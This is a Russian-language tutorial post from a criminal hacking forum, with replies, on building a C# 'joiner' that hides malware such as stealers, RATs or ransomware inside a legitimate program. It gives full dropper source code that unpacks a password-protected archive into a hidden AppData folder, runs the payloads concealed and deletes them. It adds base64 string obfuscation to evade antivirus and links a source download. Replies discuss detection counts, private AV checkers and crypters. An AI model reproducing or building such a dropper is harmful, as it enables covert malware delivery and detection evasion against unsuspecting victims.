• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Клеем 2 программы в 1 без палева до запуска если да же ваши exe очень палятся АВ.

ViCode

ripper
КИДАЛА
Регистрация
20.08.2019
Сообщения
413
Реакции
423
Пожалуйста, обратите внимание, что пользователь заблокирован
Всем привет, снова небольшая статейка от меня, как и моя прежняя статья она ориентирована на новичков и профи в этой сфере, подойдет каждому.
Точнее в этой статье основываясь на прошлой я реально расписал все по кликам... куда уж проще хз...да же 5-ти летний ребенок умеющий читать разберется и напишет свой первый софт.
Я опишу метод склеивания двух exe в один, посредством C# (.Net) к тому же это будет полный фуд.

План:
Мы добавим в консольный проект 2 exe, а именно в ресусры, это может быть 1 полезная прога и 2 ваша малварь, это не суть, суть в том что бы склеить 2 любых exe и запустить их из 1 exe при том не палясь перед АВ.
Я буду использовать часть кода из моей прошлой статьи, а именно разархиватор архивов которые под паролем.

Исходники проекта что разбираем в этой статье вы найдете в конце.

Нам понадобится:

Visual Studio 2019 C# Скачать
Архиватор 7zip Скачать

Запускаем Visual Studio 2019 и создаем консольный проект:

450a0986c5.jpg


Выбираем платформу .Net Framework 4.5, имя проекта любое, у меня будет: ViJoy

Теперь установим нужные NuGet пакеты, жмем в верхнем меню кнопку "Проект" и далее "Управление NuGet пакетами"
1.
Жмем вкладку "Обзор" и вводим в строку поиска: SharpZipLib > "Установить"
2.
Там же в строке поиска вводим "Costura.Fody" > "Установить"
3.
Справа жмем по Program.cs:

e28cc05695.jpg


Начнем писать код.
Удаляем все в редакторе и вставляем мой код, в коде смотрите комментарии что можно изменить, название файлов, архивов, все что я комментил все можно изменить на ваши имена, поехали:
Учтите если вы назвали проект не как уменя: ViJoy
То после вставки кода переименуйте: namespace "ViJoy" < на свой

e0ed72c6e7.jpg


C#:
using ICSharpCode.SharpZipLib.Core;
using ICSharpCode.SharpZipLib.Zip;
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Text;
using System.Threading;


namespace ViJoy
{
    class Program
    {
        static void Main(string[] args)
        {

            string dir = Environment.GetEnvironmentVariable("AppData") + "\\Templers"; // Путь к папке где будет храниться файл
            if (!Directory.Exists(dir))
                File.WriteAllBytes("joy.y", Properties.Resources.joy); // создаем файлы  из бинарного массива **** в Resources (если он есть, то будет переопределен) т.е распаковываем 2 ваших программы exe
            string password = ("123"); // Пароль от архива с вашими двумя exe файлами
            ExtractZipFile("joy.y", password, dir + "\\"); //Вводим пароль и распакуем архив в системную директорию Templers, она в AppData, см код выше.

            //Создаем поток и работаем с exe программой 1 которую распаковали:
            new Thread(() =>
            {



                try
                {

                    File.SetAttributes(dir + "\\exe1.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
                    Process proc = Process.Start(dir + "\\exe1.exe"); //Запускаем exe малвари
                    proc.WaitForExit(); //Ждем завершения программы если надо
                    File.Delete(dir + "\\exe1.exe"); //Удаляем exe малвари если надо
                }
                catch (Exception)
                {
                }

            }).Start();




            //Создаем еще 1 поток и работаем с exe программой 2 которую распаковали:
            new Thread(() =>
            {

                try
                {

                    File.SetAttributes(dir + "\\exe2.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
                    Process proc = Process.Start(dir + "\\exe2.exe"); //Запускаем exe малвари
                    proc.WaitForExit(); //Ждем завершения программы если надо
                    File.Delete(dir + "\\exe2.exe"); //Удаляем exe малвари если надо
                }
                catch (Exception)
                {
                }

            }).Start();
        }


        //Далее фукнкиция разархиватора zip
        private static void ExtractZipFile(string archiveFilenameIn, string password, string outFolder)
        {

            {
                ZipFile zf = null;
                try
                {
                    FileStream fs = File.OpenRead(archiveFilenameIn);
                    zf = new ZipFile(fs);
                    if (!string.IsNullOrEmpty(password))
                    {
                        zf.Password = password;
                    }
                    foreach (ZipEntry zipEntry in zf)
                    {
                        if (!zipEntry.IsFile)
                        {
                            continue;
                        }
                        string entryFileName = zipEntry.Name;


                        byte[] buffer = new byte[4096];
                        Stream zipStream = zf.GetInputStream(zipEntry);
                        string fullZipToPath = Path.Combine(outFolder, entryFileName);
                        string directoryName = Path.GetDirectoryName(fullZipToPath);
                        if (directoryName.Length > 0)
                            Directory.CreateDirectory(directoryName);


                        using (FileStream streamWriter = File.Create(fullZipToPath))
                        {
                            StreamUtils.Copy(zipStream, streamWriter, buffer);
                        }
                    }
                }
                catch (Exception ex)
                {
                    throw ex;
                }
                finally
                {
                    if (zf != null)
                    {
                        zf.IsStreamOwner = true;
                        zf.Close();
                    }
                }


            }

        }
    }
}

Для примера я буду использовать 2 программы:
  • putty.exe - в коде она как - exe1.exe
  • puttygen.exe - в коде она как - exe2.exe
8a137b043c.jpg


Их мы и будем склеивать, вы можете представить это так:
  • exe1.exe - Это нормальная прога с которой надо клеить вашу малварь
  • exe2.exe - Это уже сама ваша малварь, стиллер, рат, криптолокер и т.д
Теперь надо 2 эти программы добавить в наш exe билд который мы написали.
Для начала будем использовать 7zip и запакуем их в 1 архив под паролем.

Выделяем эти 2 файла, жмем правой кнопкой мыши и жмем: 7-zip > добавить к архиву
  • Уровень сжатия - ультра
  • Формат архива - zip
Пароль любой, ваш, только в коде выше его не забудьте поменять в строке примерно 21й.
В моем случаи пароль будет 123

И мы получаем архив с паролем 123:
ahiv.zip, его давайте переименуем в другой формат и название:

1dea0e9b51.jpg


Теперь этот архив надо добавить в наш exe который мы кодили в Visual Studio 2019 (Далее буду назвать это VS).
Открываем снова VS:
1. Жмем по проекту правой кнопкой мыши:
ca4c8ec55c.jpg


Свойства.
  • Справа будет меню, ищем кнопку "Ресурсы" и жмем.
  • Вверху будет кнопка: добавить ресурс, и выбираем наш архив: joy.cfg
  • Жмем стрелку рядом с названием: "Добавит ресурс", а не слово добавить ресурс, т.к тогда окно выбора файла не откроется.
Уже готово! Но. Теперь давайте скроем окно консоли:
Опять правой кнопкой про проекту, скрин выше > свойства > слева в меню: Приложение > Тип выходных данных выбираем: приложение Windows

Теперь нам надо все собрать/скомпилить, ура!
Выбираем в окне VS вместо Debug > Release

7652ec8e58.jpg


Теперь соберем наши exe и весь проект в 1 exe!
Жмем в верхнем меню "СБОРКА" > "Собрать решение"

Готово!

Что бы найти наш exe файл снова жмем по проекту правой кнопкой мыши > "открыть папку в проводнике"
Идем в папку bin > Release и видим наш exe файл. Запускаем. и Оп:

2469ea0099.jpg


Как видим все 2 наши программы запустились!
А теперь самое интересное, детект такого джойнера:

e17c84ff3b.jpg

Конечно если ваши 2 exe сильно палятся их надо криптовать, т.к это не спасет от детекта все равно, когда наш главный exe распакует вашу малварь и запустит, я дал пример лиш офигенно чистного склейщика на C#.


Я не могу в данный момент вам показать рантайм детект, кто может проверьте, бабок нет у меня) но проверяя где то 3 месяца назад был ПОЛНЫЙ ФУД! Да да! Рантайм. Но это с обычными софтами, не малварью в архиве, например с теми что в моем примере в этой статье.

Вы так же можете добавить по этой технологии сколько угодно exe! хоть 100шт и запускать все разом, данный код не ограничен только двумя exe файлами.

Разберем теперь логику работы:
  1. Жертва запускает ваш exe
  2. exe достает из себя/ресурсов/выблевывает ваш архив с паролем в системную папку Templers
  3. Вводит пароль и запускает все 2 exe разом которые в нем
  4. Ждет завершения работы этих exe и если они завершненны, т.е программа закрыта, то наш главный exe удаляет их что бы не палиться
Ну и видео обзор работы нашего софта, что бы видеть в реальности как все работает:


Теперь дополнить статью, шифрованием строк в base64, можно использовать и так как есть, но мы же ТРУ кодеры, нам надо что бы было все в лучшем виде.
К тому же такое шифрование даст анти-скантайм-детект в будущем.

Этого нет в исходах, и коде выше, тут уже давайте думайте головой и пишите тру код сами!;)

Что такое шифрование строк?
Если простыми словами, то мы шифруем в нечитабельный вид пути файлов, и их имена, конечно так можно шифровать любые текстовые поля, но у меня все в примере на нашем проекте в статье.


Для этого нам надо найти все строки
Как то так они все выглядят, это те что мы с вами можем менять под себя.

7ca6b79cc7.jpg


Выводим в отдельную функцию шифрование в base64:

Выше строки:

C#:
static void Main(string[] args)
Добавим:
C#:
 public static string CreateASCIIStr(string value) =>

    Encoding.ASCII.GetString(Convert.FromBase64String(value));

Добавляем перед ковычкой что на скрине:
CreateASCIIStr(
А после закрываеющей ковычки скобку: ")"

042b1e8e8b.jpg


Теперь идем на http://base64.ru/ и кодируем что между ковычками "" в base64

И получаем код в виде:
7b807e0448.jpg


Теперь все наши пути, имена архива, и файлов в нем зашифрованны base64.
Что опять же дает хороший обход детекта АВ если ваш софт начнет палится в открытом виде, т.е я вам дал 2 вида софта можно сказать.
Начнет палится 1, изменяете имена файлов, путей, шифруете в новый base64 и снова фуд скантайм нубских АВ. А пока и тру ав полный фуд)

Не знаю почему "тру" кодеры на шарпе не использвали это (не буду называть их имена) в своих супер софтах...но это вить просто...и реально на, "нет" сводит детекты. (до поры, до времени) вообще вариантов много прятать строки я лишь показал самый простой вариант, который реально работает.

Для знающих:
Такая технология поможет избавиться от множества детектов в вашем софте на c# где используются текстовые параметры, да, просто. Но реально помогает!

Если не понятно, сравните разницу скринов с шифрованием и без него, на этом уже делайте выводы, думаю понятно обьяснил как шифровать строки в простой base64 и избавляться от детектов в будущем.

Исходники проекта который мы с вами разобрали в статье можете скачать тут как и обещал:
[CLIKE]
Скачать: https://anonfiles.com/4aLcC0A3ne/ViJoy_zip
Пароль: xss.pro
[/CLIKE]

Все тех. вопросы пишите в статью. В лс не надо. Тут я буду стараться отвечать каждому.
Всем спасибо и удачи мего кодеры!
// © ViCode, https://xss.pro/members/186547/
 
Последнее редактирование:
у тебя тут фак-ап не большой вышел :D
1573651587700.png


upd. А, 7к есть, у меня код в торе не прогрузился, он тоже считается за символы в статье? Хм.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
у тебя тут фак-ап не большой вышел :D
Посмотреть вложение 6484

upd. А, 7к есть, у меня код в торе не прогрузился, он тоже считается за символы в статье? Хм.
Код вроде не считают, но не критично, Как раз есть что дополнить и так хотел в статью это дописать, но подумал что забью голову малорикам. Дописал про шифрование строк на будущее если начнет АВ палиться, используем.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Модеры, скажите про конкурс, не совсем понял, код за символы считается? в правилах описания нет, я уже так то статью дополнил безкода более 7к символов годнотой, но я и третью еще хочу написать
admin
 
Не будет случайно статьи по крипту?) Всё работает, всё круто, но по ВТ палится с таким раскладом: если одну сборку закидывать без архива с малварью, то 8 детектов, если архив целиком то 3 детекта. А по отработке всё четко, как часы.
 
Модеры, скажите про конкурс, не совсем понял, код за символы считается? в правилах описания нет, я уже так то статью дополнил безкода более 7к символов годнотой, но я и третью еще хочу написать
admin
Не будет случайно статьи по крипту?) Всё работает, всё круто, но по ВТ палится с таким раскладом: если одну сборку закидывать без архива с малварью, то 8 детектов, если архив целиком то 3 детекта. А по отработке всё четко, как часы.

ViCode, от меня тоже будет тебе огромный дополнительный плюс в карму, если третью статью напишешь про крипт, будет тогда у тебя, так сказать, тематически репертуар из трех действий :smile4:
Темы в любом случае оч годные. молодец.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Не будет случайно статьи по крипту?) Всё работает, всё круто, но по ВТ палится с таким раскладом: если одну сборку закидывать без архива с малварью, то 8 детектов, если архив целиком то 3 детекта. А по отработке всё четко, как часы.
На вт ты зря льешь, будет палиться еще больше через сутки. Это не та тема как в прошлой статье. Такое уже лучше сканировать на приватных чекерах http://avcheck.net/ или хотя бы на https://antiscan.me/
По крипту хз вообще о другом хотел писать. Посмотрим, если еще время будет конечно)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Не будет случайно статьи по крипту?) Всё работает, всё круто, но по ВТ палится с таким раскладом: если одну сборку закидывать без архива с малварью, то 8 детектов, если архив целиком то 3 детекта. А по отработке всё четко, как часы.
3 детекта это норма
 
Пожалуйста, обратите внимание, что пользователь заблокирован
вопрос автору

если на компе не будет zip то вся схема развалится?)
Нет) в win есть же стандартный эксплорер который zip открывает с паролями без проблем) так что все ок.
А так мы в проект же добавляем библиотеку SharpZipLib, она и выступает в роли разархиватора.
 
Последнее редактирование:
вопрос автору

если на компе не будет zip то вся схема развалится?)
Разархиватор в программу вшит насколько я понял (ziplib который там импортируют вначале).
Я правда не очень понимаю в чём достижение что это не палит антивирус, вредоносного кода как таквого нет, если склевать с трояном попалится в 2 счёта. А просто клейщик и безвредные программы им склеенные и не должны палиться(поправьте если не прав)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Разархиватор в программу вшит насколько я понял (ziplib который там импортируют вначале).
Я правда не очень понимаю в чём достижение что это не палит антивирус, вредоносного кода как таквого нет, если склевать с трояном попалится в 2 счёта. А просто клейщик и безвредные программы им склеенные и не должны палиться(поправьте если не прав)
Относительно статьи ты не прав. Тут же дело в самой разжеванной схеме. + фишка с архивом под паролем внутри exe т.е да же если все твои 2 exe палят все АВ подряд и их запихнуть в exe что я описал выше, будет фуд до самой распаковки. А это хорошо когда твой exe качают от куда то с сайтов что бы обойти различные локи в браузерах.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Не будет случайно статьи по крипту?) Всё работает, всё круто, но по ВТ палится с таким раскладом: если одну сборку закидывать без архива с малварью, то 8 детектов, если архив целиком то 3 детекта. А по отработке всё четко, как часы.
Почитай раздел статьи внимательно
 
Почитай раздел статьи внимательно
Если ты про свою статью, то я видел, просто не смог разобраться что и как там. Полному нубу там сложно разобраться(ну или может я тугой такой)
 
не
Если ты про свою статью, то я видел, просто не смог разобраться что и как там. Полному нубу там сложно разобраться(ну или может я тугой такой)
ты не один такой) было бы неплохо если быCrypto Locker дополнил статью на примере, как делать для нубасиков)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
не

ты не один такой) было бы неплохо если быCrypto Locker дополнил статью на примере, как делать для нубасиков)
Так сложно взять криптор для шарпа, скомпилить и запустить?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Так сложно взять криптор для шарпа, скомпилить и запустить?
Некоторым реально сложно. Пример мои статьи, вроде все по пунктам, но все равно есть вопросы у некоторых.
Твоя статья реализированна на контингент таких как я и думаю 10% форумчанен. Как по мне статья супер, я да же взял на реализацию некоторые ее части. А такому контингенту надо писать да же как в ресурсах икноку менять что бы детекты галимого ав отпали. Но с другой стороны меньше палева перед молориками) а соответственно для таких как я большой плюс ))
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх